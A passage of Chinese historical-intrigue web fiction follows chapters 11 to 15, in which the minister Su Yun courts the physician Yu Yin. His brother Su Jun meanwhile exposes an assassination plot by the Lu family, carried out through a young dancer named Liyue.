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儿当半个亲儿看。周大人又是最惜他夫人的,这回动了血仇,是绝不会善罢甘休了。”
是,弹章是不少——
苏家专断政务,失察人命,请由朝中公议其责,以安众心。弹章之外,又于城中设堂祭奠,开放百姓吊唁,引得满城沸沸扬扬。可是——
“苏昀呢?”琅琊王终于开口,“可有什么动作?”
侍从答道:“苏司徒还是忙着侨郡试点的事,没有理会。不过私下里,倒传出了几句话。”
“什么话?”
“说是‘万事以保侨郡为先,为免挡事——周氏门下,有能调的,先调开。荐举中若有其党人,一律缓议。’”
琅琊王闻言,默然了良久,才问:“朝下可还有人支持周家?”
“苏将军清洗朝堂之后,人人自危,不敢再起冲突。只有三四个周家旧部,还在坚决响应,其余的多在装聋作哑。”
琅琊王轻轻地笑了一下:“好,真好。”
好到他有意扶持、用以制衡苏家的南党——就只剩三四个“还敢说话”的人了!
是保,是弃,该如何是从?
他不愿再想。靠进座椅里,闭上眼。任由侍从轻轻地揉着太阳穴。
正此时,帘影微动。似有人影款款而入。
脚步极轻,仿佛每一步都不愿扰乱殿中沉静。那人将一盏新茶捧上,双膝跪地,低声道:“主上请用茶。”
琅琊王垂眼看他一眼。
只见那人一身伶人白素袍。眉目清秀,有十分的楚楚之色。目光停在了那双手腕上,裸露的青白细骨,一对金镯——
“许生。”
他端起茶,漫不经心地道:“你们这些戏子,眼睛都亮得很。你倒是说说,如今这世道,唱的是哪一出?”
许生垂着眼,声音细细的:“奴才不通时事,唱的是旧本。昨儿园里还排了一出……”
“排的什么?”
“《放马华阳》。”
琅琊王眼角微动:“讲什么的?”
许生娓娓道来:“讲的是文王三顾草庐,未得所愿,回途中遇一老者指路,说:能扶王者之人,在渭水之滨,无须执着眼前人。”
他抬起眼来,微笑:“文王于是放马缓行,终得太公。”
殿中一时寂然。
过了片刻,琅琊王忽然低笑了一声,把茶盏搁回桌上。似解了一口压在胸中的闷气。
“果然伶人亦通时事。”
许生伏拜,柔声道:“奴才不敢通,只是世上事,戏里总有。”
琅琊王一抬手:“赏。”
许生应下,叩首领赏。礼未起,却又听主子慢悠悠道:“今后你不必回梨园了,就——在永安阁奉茶吧。”
许生微笑,再伏拜:“是。”
11. 乌梅
半月之后,苏昀再踏入仁心堂后院。
院子里的孩子们正在帮忙晒谷,一个见他来,便笑着叫起来:“苏大人!”
便一溜烟地都跑来了。
苏昀正与掌柜边走边交谈,闻声一笑,示意止了话头,转身便蹲下了。“啊,小哲又长高一点了。阮阮今天的辫子好看,是自己扎的吗?”
那个叫阮阮的小姑娘有些羞,还没答话,于思成就大声插嘴:“是我阿姐扎的,阮阮老是动来动去,扎了三遍才不歪!”
一群人笑成一团。
苏昀的目光,落在不远处的一个小孩子身上。
是那个爷爷刚被打死的孩子。
他笑着招手:“阿山,过来。”
阿山有点犹豫,半天才怯生生地从树后面走出来。小声地行了一礼:“苏大人。”
苏昀上下看他,一身齐整的短衣,手里抱着本残破的书。
“你的书补好了?”
阿山点了点头。
“这么厉害?我上次看着好多页呢。你自己缝的吗?”
“是于姐姐缝的。”
苏昀轻轻“哦”了一声,扫了一眼那本旧书。书脊缝得细密整齐,细麻线翻过扉页,压得服服帖帖。他点了点头,笑道:“补得真好。不过书里是不是有些字糊了?”
阿山怔了怔,点头:“爷爷抄得急,后来又碰过水,有些墨就洇开了。”
苏昀“嗯”了一声,从袖里拿出了一册书。“这个送你的。”
阿山轻轻地“啊”了一声,接过一看。那是一册细装的灰布书册,封面温润,纸角收得极净。角落里绣着一个很浅的“山”字。
听他继续说:“这本《论语》,和你爷爷那本是同一版,注释也一样。那本你留着——这个,就当是多一本,拿来好好读,不怕翻坏。”
阿山低下头,许久,方轻不可闻地道:“……谢谢苏大人。”
苏昀笑了笑:“不用谢。好好读书,你爷爷会高兴的。”
又温声道,“等读完了,我再给你捎几本……”
不远处,于茵已看了一阵,不由莞尔。
她拍了拍手,扬声道:“好了,今日干得不错,快进去吃晚饭吧。看谁吃得快——今天还有乌梅糖作点心呢。”
小孩子们都雀跃起来:“有糖吃!”
一哄而散,脚步扑扑地奔向屋里,终于放过了苏昀。
苏昀被簇拥得一身衣摆都乱了。倒也乐得清净,低头拂了拂袖角,嘴角带着点笑意。“怎么,就这样见不得我和小友们聊天么?”
于茵打趣:“对啊,真是见不得。这一个个缠人精,不放饭,可得黏上你一两个时辰呢!”又笑,“进来吧?”
.
苏昀一入屋,便看见案上账册堆得齐整,显然是在等他来。他入座,伸手便去取,随口道:“民馆才立几天,这账就堆到天上了么?”
话音未落,手背忽被人轻轻打了一下。
苏昀微愣,抬眼看去。
只见于茵将双臂横在账册前,神情一派认真:“今日先看诊,才许动账。”
苏昀无奈:“诊也得看,账也得过,怎么还分先后了?”
于茵摇头:“阁下恶劣斑斑——每逢该看诊时,不是被人叫了去,就是被事绊住,好几回都空过了。”
语气一顿,眼神却定:“账看不完我还能送去,今日这诊,是非看不可!”
苏昀失笑:“行,都听先生吩咐。”
便交出了自己的手腕。
二人便就着账册上,探了一会儿脉。屋里很静。
苏昀难得等着无事,东张西望了一下。只见屋中书柜早已堆满,许多医书、方册索性摞到了地上。桌上也不见空处,诊卷、药签、几页潦草的病案挤作一堆,边上还放着一杯水,一小碟裹着白霜的乌梅糖,像是专留着哄小病号的。
收拾得谈不上整齐,却自有章法,一看便知是日日有人打理、日日有人忙。
于茵开口:“脉细带虚,里头还有寒气没散干净。”
这才把他的神思拉了回来,又听她接着道:“热病是退了,可底子伤得不轻。这几日若是又忙得太紧,只怕气血会跟不上。”
苏昀一笑:“是吗?我自己倒觉得大好了,吃得下,睡得着。”
于茵横了他一眼:“你向来能扛。但扛着,不等于好了。”
说着将药签铺开,一边执笔改方,一边道:“我给你添副补血的方子,原来那帖也略作简化——之后滋补为主,不再攻伐。甘草也减半,省得久服生湿。”
苏昀简单地“哦”了一声。
于茵看他那副“左耳进右耳出”的样子,不得不下句狠话:“还有,你别再逃药了。我看得出的,就这几天,按时吃了几次?”
苏昀咳了一声,含糊道:“都吃了的。”
对上于茵的目光,有些气馁:“有时吃了胃胀,不太舒服。”
简直跟小孩子的说辞没有两样。
于茵无奈,语气却仍温,耐心地劝:“你是药石伤了脾胃,我知道。可眼下你元气未复,贸然断药,很容易病根回潮——你别让我担心,好吗?”
说到这里,苏昀才神色微敛,低下眉,闷声道:“知道了。”
看他一副被训得可怜巴巴的样子,于茵有些好笑,起身:“好了好了,诊看完了。账本都在这,你先自己翻着。”
一边往外走,一边道:“今早堂里进了一批黄芪,气味足,养脾最好。我去拿一点,你等会儿一并带走吧。”
“嗯,好。”
于茵回头看,苏昀果然已经掉进账本堆里去了。不由一笑,转身去了。
.
待回来,二人简单过了一遍账,讨论了人数、药材与登记流程。一人说一句,另一人便已在纸上添好。来回几轮,已将民馆义诊的调度理出新章。
苏昀收了纸笔:“一通百通,粮调、物资那边也有适用的地方,你和掌柜的商量一下,回头让他也给我个方案。”
于茵道了声“好”,便要起身相送。
苏昀却摆摆手:“别送了。你不是还腰疼么?能歇一刻就歇一刻。”
于茵一怔,倒是没料到他记得这事。随即一笑:“早就好了。”
话虽这么说,却不再坚持。只是送他到门口,站在廊下,没再越一步。
院中日色微斜,落在他的肩头。
他本来就瘦,大病初愈,更显得身形十分单薄。
她忽然想到,这人一天天地也不知为了什么,这么执着地、近乎偏执地走下去,像只离群的孤雁,又或者——
像只呆鹅?
她忍不住笑了起来。
于思成正好回来了,看见她就问:“阿姐你笑什么?”
于茵略收了神色:“刚才苏大人给我讲了个笑话,怪好玩的。”
于思成果然十分感兴趣:“他说什么了?”
于茵便入屋去,一边笑:“他说——”
忽然瞥见桌上的那碟乌梅糖,回头,“哎,你是不是又偷吃糖了?”
于思成一脸大无辜:“哈?我没有啊!”
“你少骗我啊。我日日是放十颗的,现在少了一颗,今天又没有小友来过,不是你吃的还是谁?”
于思成把眉头拧成八字,呜呜道:“真的不是我!可能是阮阮,或者小哲,他们都可能进来过啊……”
.
侨郡试点初建,诸事繁杂。没过几日,便又攒下了一大摞待办的事。
苏昀一边盯着试点推进,一边要应对朝中杂务、架住周家的攻势,委实是忙得昏天黑地。
于茵则是白日奔了一趟芜湖分馆,又顺道绕去大兴视察,直到入夜方才回城。脚步未歇,便直往水榭汇报进展。
刚进门,气还没喘匀,便要从背囊里找出笔记来。
苏昀看了她一眼:“不急,先坐一下。我手上也还有事没结。”
又见她手指鼻尖都冻得通红,便侧头吩咐:“有点冷。宁伯,把火盆挪近些。”
于茵便在火盆边歇了片刻,喝了口水,烤了烤手,气息才渐渐缓过来。
她抬眼望向书房,
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只见案卷堆得老高,却一件件分门别类地收着,按月按事,井井有条。桌上虽略乱,摊着各色奏章、地图与账册,但明显在他起身前,定会一一归整,兴许还要叫人再擦一遍。
看这一切摆设,果然十分贴合这人的行事风格。
她不知怎的,又有些想笑。
正胡想着,苏昀开口:“我好了,久等啦。”
便微笑着看她。
于茵也笑,翻开自己的笔记,一条条地道来——
芜湖分馆刚开两日,义诊多了三成。大兴走药顺利,人手也够。两地来诊的流民多肯登户,但能留下的不满六成。多半是处所不够,登了名就走了,自己找去处。
大事小事,由急到缓地汇报了一通。
苏昀一边听,一边略略记着,偶尔低声应一句“嗯”、“知道了”。
等她说完,他才将笔搁下,叹道:“你心细,眼也尖。转这一日,比我自己走三天还看得明白。”
于茵笑道:“好东家,你就哄我吧。劳心者治人,劳力者跑腿——我也就能为你跑一跑腿罢了。”
苏昀也笑,简单道:“我从不哄你。”
于茵顿了一下,低下眉。
苏昀只一眼,便知自己方才说得太满,或有逾矩。便顺势一笑,语气转缓:“今天辛苦你了。时候不早了,快回去歇着吧。”
于茵点点头,起身欲行:“你也是,别太累了。”
苏昀应了声好,又想起:“对了,你上月那份药赈清册,我改了几笔,搁在隔间桌上,你一并带走吧。”
.
于茵从书房出来,心绪微乱。
一时也说不清缘由,索性不再细想。定了定神,便转身进了隔间。
那间屋,本是苏昀偶尔歇息的小室,紧挨着书房,只设一案一榻,靠窗摆着药炉与书夹。因他事务繁多,许多临时信札、私章,也常搁在那里。
走到案边,果然要的册子就放在最上面。
她一手去取,顺手扶了下桌角,指尖却碰到一节未合紧的抽屉,轻轻一推,便滑开了些。正吓了一跳,赶着要关上时,眼角忽然扫见——
抽屉里有几只素白小瓷罐,里面竟然满盛糖果:糖渍橘皮、乌梅球、绿豆糕,分门别类地码得整整齐齐。连糖纸也叠得服服帖帖,一眼便知是常取常添的样子。
于茵不由愣了一下。半晌方笑了,几乎笑出泪来。
原来如此。
这回可真是破案了——
堂堂江南大司徒,竟是个偷藏糖吃的小贼!
她好容易才收住神色,若无其事地关上抽屉,取了册子。却像藏着天大秘密似的,嘴角弯着,快步离开了。
.
翌日下了早朝,苏昀一回到水榭,便见案上照例摆着一大盏热腾腾的药汤,旁边还整整齐齐码着几味药散与丸剂。
立刻皱了眉头,按着胃:“宁伯,我有点恶心。”
宁伯不动声色:“起床时不是还好好的?”
苏昀道:“不知道,朝上就难受了。这药——”
便轻轻推开了一寸,“晚点再说吧。”
宁伯跟这位主子在吃药上斗智斗勇二十载,一眼便看穿了,忍不住笑道:“那也成。不过这方子是于大夫昨晚新调的——还说您要是再逃药,往后就不管您了。”
苏昀沉默一瞬,像是思考“命”与“苦”之间的轻重关系。
半晌,他叹了口气,极为艰难地坐下,接过药盏,像赴刑场一般喝了一口。
——下一瞬,他轻轻一顿,微微偏头,像在细细确认。
“今天的药……有点甜啊?”
宁伯语气平平:“哦,于大夫昨晚改方时添了点乌梅汁,说是入肝生津,和胃去涩,给您顺一顺胃口。”
苏昀轻轻地“哦”了一声,便低头继续喝药。
十分难得的,把药盏喝得干干净净。顺便把其他佐药,也一并吞下。十分干脆。
吃过药,像是精神好了不少。
便抬手拿了第一份公文,开始着手处理这一日的事务。
12. 弃子
侨郡试点半年,小市通,大户稳,渐成政通人和之势。
昔日南党之主周祺,却如困兽于笼。许多南党投机者转向苏家,旧日亲随纷纷被调,也有人酒后失言,公然称他“已成弃子”。如是种种,这日终于归到一纸调令——
“周祺功高劳苦,王恤其妻病势沉重,特授之文恭馆教化一职,留任建康。荆州节制之任,暂由吏部权议。”
他默然地接了旨,在花园中走了一圈。最后轻轻推开主卧的门——
屋中药香浓重。帘后一张榻,周夫人正侧卧着。
她长发披散,面色无华。一听他来,便强撑着要起身:“相公……”
“阿瑾。”周祺快步上前,俯身按住她的肩,“别动,好好躺着。”
周夫人被扶睡下,许久,方轻轻呢喃:“我终究是累你太多。”
周祺正要出声,却见她神色惨然,继续道:“我身子不济,是早年的事。如今既不能为你传后,又拖你回建康……若不是我,你原不必留在这风口浪尖。”
说着,便已是黯然泪下。
“没有的事。”周祺握住她的手,又为她拭泪,“他苏家步步紧逼,要吃下整个江南。我人在哪里有什么区别?这些都与你无关,你只要养好病……”
周夫人却道:“士瑶丧事一了,我这口气就再提不上来。你不必哄我,也知我是好不了的了……”
“阿瑾!”周祺急了,“你别这样。”
“相公,你别为我这个将死之人,再跟他们斗了。不值得。”
周夫人只顾自己说着,眼里微微有一点光,“留在建康也好。周家的田地、人丁都在身边,你原本就无意出仕,如今复守家业也未尝不是快事。相公,我别无所求,只盼死后,你能好好活着……”
周祺任由她一口气地说完,良久,才哑声开口:“你安心养病,不要再多想了。”
又很轻地道,“你在,我才有归处。”
.
这日,周祺不再言语,一直在窗边坐着、守着。直到晚间才有客来。
是卢家遗孀,曹淑英。
她身材微福,头簪白花,脸上有明显的怨气,一进厅就喊:“周祺,你个缩头乌龟……”
还没说完,就被主人喝斥:“曹淑英!”
曹淑英却毫不示弱:“哼,你也就能吼一吼我。我那死鬼走的时候,你说会给我卢家一个交代,说什么——江南得江南人治。治什么?原来是把自己治去当个牌位供着!文恭馆……哈!教化?哈!”
走近两步,狠狠盯着他——“苏家连杀带剿,你再不动,连个落子的机会都不会剩下了!”
周祺深呼吸,良久,方低声道:“我现在孤掌难鸣。”
曹淑英总算露出了笑容:“你怎么是‘孤’,不还有我们这些‘不甘心的人’吗?”
她一字一句:“卢家在、曹家在,多少人恨得咬牙切齿,只等你一点头——”
她凑近一步,压低声:“我替你点火!”
.
武昌军营。
苏骏晨练毕,照例巡营。披一身红甲,步子极稳,身后跟着一帮人。
牙将禀道:“钱凤梁州来报,说匪窜得急,地头人也不配合,有点棘手。”
苏骏道:“让他把兵扎在地头门口,再不配合,就按通匪处理。三道水路挂火巡夜,别真打,看他们先慌哪边。”
牙将忙应了是,又道:“各处侨郡试点三日一报,这是今早刚到的。义粥义药照常发放,治安良好。义田头批收成也入仓了,军中配合税吏,收得顺利。”
苏骏“唔”了一声:“头一批而已,别松劲。”
“还有广州那头……”
不过逛了一圈的功夫,便批了广州平乱的粮草请求、江北水军编制的备案、江州闹疫的军医借调等等。大事小事,零零总总,全是三言两语便处理了。
边批边瞅,看谁动作不规范,点名一二三出列。不一会儿功夫,就攒了二十来人跟在后面,队伍越拉越长,人人大气不敢出。
好容易这位主儿巡完,大伙刚要松口气,却听他冷不丁一句:“昨晚谁犯夜禁?”
牙将顿时冒汗:“戍左三营,李什和王马子在营后偷烧酒。将军放心,已经关禁闭了。”
苏骏冷哼:“抬去西厢守猪圈,巡三天,兵籍停月。我看谁还敢来试?”
“是。”
苏骏轻描淡写地:“还有?”
牙将咬牙:“……没了。”
苏骏“唔”了一声,便要往回走。
牙将硬着头皮,追了一句:“将军,这些小子……”
自然说的是后面那二十个瑟瑟发抖、动作有误的人。
苏骏脚步没停,只丢下一句:“抬石磨,绕营十圈
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,回来再练。动作还不对的,再赏一百臂撑。”
“是!”
好容易送走了祖宗,各将士都不由松气,嘀咕:“娘啊,这是越管越严了。”“刚到武昌的时候,大半个月没来过军营。现在可好,一天巡三趟,恨不得眼珠子长在你膝盖上。”
“被圈在这破地方半年,怕是给将军憋坏了。现在谁要撞上去,都吃不了兜着走啊……”
.
苏骏绕回府中,宋依依已把早饭备好了。“忙完啦?”
苏骏“唔”了一声,便入座。
宋依依给他夹了个肉包,又道:“哦,今早你哥有信。”
苏骏顿了一下:“等会儿看。”
“等什么,我替你看了。就两句,说——‘身体尚可,事务平稳。勿念。’”
苏骏沉默了片刻,最后闷火道:“你别乱动我的东西。”
宋依依也不跟他计较,只哄道:“好好,以后不看了还不成?不过你哥这阵子信勤一点了,我看是心头宽了些。”
看他仍不说话,又柔声补了句:“况且再怎么话少,哪回是真舍得不管你?”
“……老子稀罕他管?”
苏骏嘴上这么说,却更大口地咬了一下包子。
宋依依凑近,笑:“哎,你今天干什么?”
“还能干什么?”苏骏一骨碌地喝粥,胡乱道,“练练刀,巡个营,晚上有个新来的团练头要请吃饭,拜个码头。”
宋依依脸上淡了点:“又去花楼啊。”
又补道,“早点回,别总弄到半夜三更,扰人清梦。”
苏骏“唔”了一声,吃饱了,起身拎刀就走。
宋依依在后面叫了句:“刚吃完,你悠着点。”
苏骏头也不回:“知道!”
门口风一响,人已出去了。宋依依看着他背影,啐道:“就知道鬼混!”
侍女上前劝道:“夫人,将军是心里不痛快才天天出去的。每回去也玩不多久,您可别往心里去。”
宋依依不以为意:“他要真有个正经样子,我还不习惯呢。”
便把茶盏放回了桌上,又问:“建康家里头还稳当么?上回那笔布票对不上账,我让人查,信送回去了吗?”
侍女笑道:“早送啦。老夫人还回说,苏家女人在八百里外,眼睛都尖着呢。有您盯着,账房哪儿敢糊弄……”
13. 梨月
当夜绣阁春。照例是灯影交错,香气氤氲,人声鼎沸。
台上几个舞姬扭着身段,金铃作响、纱裙乱飞,酒客叫好声一片。
苏骏靠在厢房主位,却懒得抬眼,只指间拨了拨酒盏。
叶团练在旁赔笑:“多谢将军赏脸,小的往后在新城就全靠您罩着了……要不尝口这杏花酿?江口新进的,甜得紧哩——”
苏骏扫他一眼:“甜酒?你看我像喝这玩意儿的?”
又不耐烦道:“不是说有新人?我看还是那几张老脸——耍我呢?”
叶团练连忙堆笑:“哎哟,可不敢!那位马上就登台,保您满意……”
苏骏只觉腻味,正要起身,外头忽然传来一声高喊:“新姑娘登台——梨月一舞,压春色!”
叶团练忙道:“这不就是?您且看一看,听说美得很,头回亮相——”又压低声,“还没人沾过呢。”
苏骏嗤了一声:“玩儿这套。”
好歹重新倚回椅背,杯沿敲了一声:“行,看看。”
正说着,帘后一人缓步而出。
是个十六七岁的女孩子。一袭浅桃色舞衣,勾勒出细软柔窄的身段。
面上只点了极淡的粉脂,肌肤胜雪。站在灯下,几乎是怯生生的。像是剥了壳的果子,嫩、脆、易碎,让人忍不住生出疼惜。
苏骏挑了下眉:“是新,生得很。”
叶团练忙笑:“可不是,说是中州名门逃女,实在活不下去才卖了身。这舞,都是新学的,您看着——”
果然跳得十分生涩。
起手时袖角打得太高,转身有些拖拍。
到解腰带时,动作也略慢,手指竟似有些颤,眼角微红,像是压下羞意。绸带一点点滑落,腰身轻轻一晃,却没有风尘女子惯会的刻意撩拨。
苏骏握着酒盏的手慢慢收紧,看见——
她转身,半掩着面,一只袖子悄悄滑下肩头,露出半截玉肩,呼吸微喘,缓缓地——
太美了,美得过分。
底下有人低笑,有人轻呼,也有人喊着要她近前些。可她只是立在台中央,一对眸子几乎闪着泪光,正看向他。
苏骏霍地起身。
叶团练一惊:“将军?还没跳完呢……”
苏骏却头也不回,拂开屏风,径直往后台去。
.
梨月才退入后台,就撞上了苏骏的视线。立刻垂眼,拉紧衣,便欲逃走。
“想去哪儿?”
苏骏探手一扣,压低声,“这么生,也敢出来跳!”
梨月哪里见过这样的场面,声音发颤:“对不住,客官……小女艺拙……”
眼圈一红,几乎要哭了。
掌柜的忙来打圆场:“将军息怒!咱小梨月头一回登台,怯得紧。练是练了,可一见着您这样的贵人,就连转身都不会了……糟了您的眼,小的回头一定好好管教!”
苏骏笑了一声:“不用,我来教吧。”
手臂一翻,便将她整个人横抱起来。
梨月惊叫一声,死死抓紧了衣襟。
掌柜的却笑开了花,快步跟上:“哎哟,得您开脸,是咱梨月八辈子修来的福分!”
又亲自掀帘子,“来,来——好屋子这就腾出来,将军这边请……”
.
一连数日,苏骏连家都不回了。
一早照常回军营,训练、巡兵。一入夜便直奔绣阁春。
梨月已被他一口气包下,场子也不用出——确实也出不了。掌柜的数着银票,笑得合不拢嘴:“宠得腿都软啦!将军说了,白天让她睡着,都不许吵。”
军营里也是炸开了锅:“不得了,将军这回是真遭了!”连贴身兵也笑:“从来不午睡的主儿,今儿倒头就睡着了。也不知夜里是怎么折腾的……”
外头的风言风语,传到宋依依的耳朵里。
她却只道:“他外头女人多少,我还去算它?”
侍女忍不住道:“可哪有这样宠的!从前玩归玩,也是天天回家的——这都五天了也不见个人影。夫人,您就真不管管?”
宋依依把茶盏放下:“他爱上哪儿去,我管得着么?”
顿了顿,“不过——”
.
不过还是想亲眼看看,是个什么人物。
入夜前,她便素衣淡妆,遮了半面。大大方方走进绣阁春,找一名小伶问:“梨月姑娘住哪间?将军让我送点东西。”
自然顺利入内。
她轻轻地将补品搁在几上,走上前去。
只见床榻上,梨月斜倚而眠。面色绯红,鬓边散乱几缕青丝,一只手搭在锦被外头。睡得沉极,连有人在旁都未曾察觉。
确实是宠了。
宋依依目光落在她脸上。也确实是美,年岁尚轻——比她年轻许多。
她不语,只是微微偏头,又细细看了屋中陈设,桌上的残羹酒杯,打量了一会儿。
正在此时,门“吱呀”一声推开——
苏骏跨进门,脸色极沉:“宋依依!”
三两步冲了上前,一把攥住她手腕,几乎是咬着牙:“你来干什么?给我出去!”
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梨月听到他的声音,还未醒透,便要起身:“将军……”
自然伸手想去碰他。
苏骏却反手按了她一把:“你别动,我去去就回。”
便拖着宋依依往外走。
宋依依也不说话,任他一口气把自己拖到大街上,大骂:“这不是你来的地方!”
她看了他一眼:“将军大人好兴致,我不过送点补品,就惹了这么大火?”
苏骏瞪眼:“闭嘴,走!再靠近一步,别怪我翻脸了。”
宋依依长长地看他,终于道:“将军放心,我宋依依从不缠人。你不惜我,我也自有去处。”
便当真转身而去。
苏骏看着她的背影,喉口发紧,半晌才将那口气咽下去。
抬头一看,才发现街上早围了不少人——有看热闹的,有装路过的,还有几个熟面孔,正低头装作没看见。
他一把火又腾地窜上来:“看什么?滚!”
人群哄散,街道静下来。
他才转身,再次踏入绣阁春。
.
回房时,梨月正将发髻解下,听见门响,一惊,转身道:“将军……”
苏骏走到她跟前,却并未像往常那样拥她入怀。只是垂眼看着她:“怎么不睡了?”
梨月怔了怔,小声答:“等您。”
他点点头,在床边坐下。鞋不脱,甲也不卸,就是一言不发。
屋里很静。梨月握着丝帕的手紧了紧,小心问:“是小月惹将军不快了?”
苏骏看了她一眼,忽然笑了,伸手摸了摸她的脸:“没有。”又问,“刚才外头那个疯女人,叫你受怕了吧?”
梨月乖顺地倚入他怀中:“有将军在,小月不怕。”
苏骏靠着墙,闭眼:“睡吧。前几天你累坏了,今天歇一歇。”
梨月轻声道:“是。”
便起身欲服侍他宽衣。苏骏却按住她的手:“不用。我肩伤犯了,坐着舒服。”
她一怔,终究只是“哦”了一声,便轻轻躺下,把头枕在他膝上。
苏骏用手轻抚她的发:“你真乖。”
梨月浅笑了一下。
二人就这样一个坐着,一个枕着,安静地睡到了天明。
苏骏出门前,又长看了她一眼。
就是,太乖了。
乖到宠她也不贪、冷她也不哭。就像——
是专门冲着他来的。
踏出门,他脸色已冷了下来。接了烟草醒神,不抬头地问——
“建康,有信了吗?”
14. 苍耳
一封黑漆封函,送到了苏昀手上。
是由军中火旗使,每五十里换人换马、昼夜不歇送来的头等急报。
他拆开,第一眼便看见“刺客”、“卢”等字眼,不由心头一紧。粗粗扫完,又再看了三遍。思索片刻,便展纸、蘸墨,一气就成回信。
“日来诸事无虞,尚安。然梨月一人,恐为双杀之引。宜速除之,勿留后患。
另拟设替身扰局,自重影护身,无需忧念。”
落款,亲手封印,又唤宁伯去找人送出。
待人离去,屋中安静下来。他坐回椅上,盯着桌上那几支断笔,仍是心绪不宁。
周、卢两家与苏家结下血仇,已无法再保,只能顺势打压,推完侨郡一案。
苏骏武将出身,极难刺杀。若卢家动手,不会只为他一人。
再想近日义学初立,朝中忽有风声,催他出行巡视——
前后相扣,必是双杀!
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登登两声,有人敲门。
他将密报盖在其他文件下,便扬声:“进来。”
进门的是于茵,看了他一眼:“怎么,脸色不太好?”
苏昀勉力笑了一下:“没事。”
定了定神,把语气放温,“是堂中月册么?我看看……”
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正巧苏敏活泼泼地进了门。
她是个十五六岁的少女,梳双平髻,神采灵动可人。扬声便叫:“大哥!”
里间的人只道:“等一下。”
苏敏探头瞄了一下,一个姑娘?
不由又看了几眼。越看越起劲,回头问:“宁伯,这我嫂子么?”
宁伯正奉了两盏茶来,一听差点连托盘都摔了。“哎,三小姐可不敢胡说。那是仁心堂义诊主事,正经人家呢。”
便给她递了一盏茶,正要走,又被那丫头拉住。
“人姑娘正经,我大哥可不正经啊。”
苏敏压低声,煞有介事地分析起来,“我问你,你见过有别人进他书房汇报,能当面批文的吗?而且刚才密函一角给姑娘手压着了,他就悄悄挪了一下啥也没说——要换了是我,早就被打出门了!”
又一拍宁伯:“还有那个——姑娘那杯茶,他是亲手添的!你什么时候见过?”
她语调拔高,忍不住又重复一遍,“是他,拿壶,自己,斟的。”
说完她自己都被说服了,一脸震惊:“完了啊,我大哥铁树开花了!”
宁伯一脸狐疑,跟着她一条条看去,竟然心头疑云渐散:“哦……哦?哦!还真是……”
一时间呆若木鸡。
苏敏推了推宁伯,“哎哎,出来了,别看了。”
于茵一出门,见两人诡异地并排站着,不由微顿,略一点头致意。
宁伯咳了声,躬身送人,苏敏则笑嘻嘻地摆摆手。
人前脚刚走,苏敏就闯进书房,双手一压桌:“别看了!等娶回家天天能看——说吧,怎么回事?”
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苏敏一通连珠炮的审问——人住哪儿,家里几口?牵手了没?看月亮了没?什么不是的,就别撑了快招了吧!哈?有婚约了?哦,没事,没结就能追,而且凭你这实力结了也能追啊。没经验是吧,我教你……
苏昀一个头两个大,直接起身走了。
苏敏在后面叫:“去哪儿啊?别尿遁啊!”
“去走走,透个气。”
看着那厮离去的背影,苏敏“啧”了一声,摇头:“真没用,还得——”
她亲自出马。
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当天于茵回家时,于思成就登登跑来,指着水樽里的一大束白山茶花:“阿姐,下午苏哥哥让人送来的。”
于茵一怔:“哦,他有说什么吗?”
于思成挠了挠头:“说是白茶‘清而不寡,冷而不拒’,配阿姐正好。还说叫你别问太多,他说不出口。”
于茵着实是呆了一会儿,想了又想,最后道:“也许,是感谢我之前照顾他吧。他前些天身上不大好来着。”
于思成点点头:“嗯,有道理。”
又笑嘻嘻地去看花,“不过还挺好看的。你看……”
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送一回花,可以是谢意。
可若日日都送,便再不能当作无心了。
接下来几日,一大捧花便总在屋中等着:山梅、鸢尾、木香……一日换一日,清香不断。
于
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茵的心越来越沉。
以苏昀的行事,这一来竟是表明了心意。可他怎么会?他那样的身份、品性,素来如高山之雪,遥不可及,她从不往那处去想。
他又怎么可以——除非,他不知她已有婚约?
若是如此,她又该如何婉拒,才能……不伤他的心?
她一日日地把花带去仁心堂,放厅里,放桌上。很快连水樽都不够用了。
思来想去,终于告诉于思成:“如果今天还有人来送,你就谢他,说堂中已有花,不必再送。”
“好呀。”于思成一边做着功课,晃着腿,“不过,你要是不喜欢,就跟苏哥哥直说嘛——你今天不是要去送药单吗?”
于茵微顿,道:“我腰疼,去不了。你帮我送吧。”
于思成“哦”了一声,不再说话。
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一连两天,终于不再有花送来。
于茵略松了一口气,又打起精神替人看诊、配药。午后却有个小厮进门——“于大夫,司徒说这月的药单不对,要你改过了他才好批。”
她一怔:“写错了?”
这在她从未有过。连忙接过一看——果然,烦乱之下,竟将“苍术”写成了“苍耳”。
前者燥湿健脾,性温无毒;后者祛风通窍,略有小毒。药性迥异,不可混用。他用朱笔圈出,批得清清楚楚。
她讪然一笑,微局促:“是我疏忽了。待我重核几遍再送,劳烦你跑一趟。”
小厮笑道:“不妨事。司徒还说,于大夫怕是近来太劳,要注意休息。”
她轻轻应了一声:“哎。”
待人走远,她才坐回案前,静了片刻,方提笔重抄药单。
抄到那一页“苍耳”时,翻至背面——竟见一行朱笔小字,落在页边一隅:
“人亦苦。”
她怔了一会儿,指尖停在纸上未动。
那三个字落得轻缓,又是宽慰,却叫她再提不起笔。
许久,她才将药单合起。起身,去前厅找到掌柜。
掌柜的招呼:“小于啊,有事?”
于茵垂着眼,轻轻道:“嗯,大兴有几个难症,我想去看一看。先生能否批几天调事?”
15. 双杀
苏骏翘首以盼,终于收到兄长回信。扫完一遍,便提笔草草回信。只得几个字——
“梨月已除,勿忧。”
而后数日,他继续极宠梨月,闹得满城皆知。
副将请示兵事,得等他哄完她入睡才能进门。又一掷千金,将绣阁春二楼整层包下,只因梨月惊梦怕吵。掌柜的去试探:“将军莫不是要纳她入房吧?”他听完竟没反驳,只道:“时候到了,自然要立起名分。”
如此又晃过了几日,等到建康飞鸽传书——
苏昀拟次日去大兴巡察。
苏骏看了,没说什么。
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当夜照例晃去绣阁春,看梨月跳了两支新舞。大笑:“烂透了!”
梨月羞得满脸通红,低低垂首,退到一旁斟酒。
苏骏走上前,笑着从后搂住她:“怎么,生气了?”
梨月任他抱着,小声道:“小月不会舞,自罚一杯。”
说罢一饮而尽。
苏骏笑了一声:“好,够爽快。”
便顺手也端起一盏,刚要碰唇——
忽地目光一闪,陡然暴起,将她双手反绞,狠狠压上桌案。她袖中匕首才滑出半寸,已铛然坠地!
“练过两年小刀?”
苏骏冷笑,“手还没稳,也敢……”
话音未完,忽听背后风声一动——
一直在旁奉茶的侍女扑出,手中发簪一闪,直刺他后心!
.
当晚绣阁春一夜未歇。
有人闯楼、有人逃跑,也有人当场被制。
第二日晨起,满城只传将军夜宴破局,一口气抄了卢家三处暗桩。
而梨月……则再无消息。
宋依依一夜未眠,直见到苏骏跨进门,才放下心来:“都处理好了吧?”
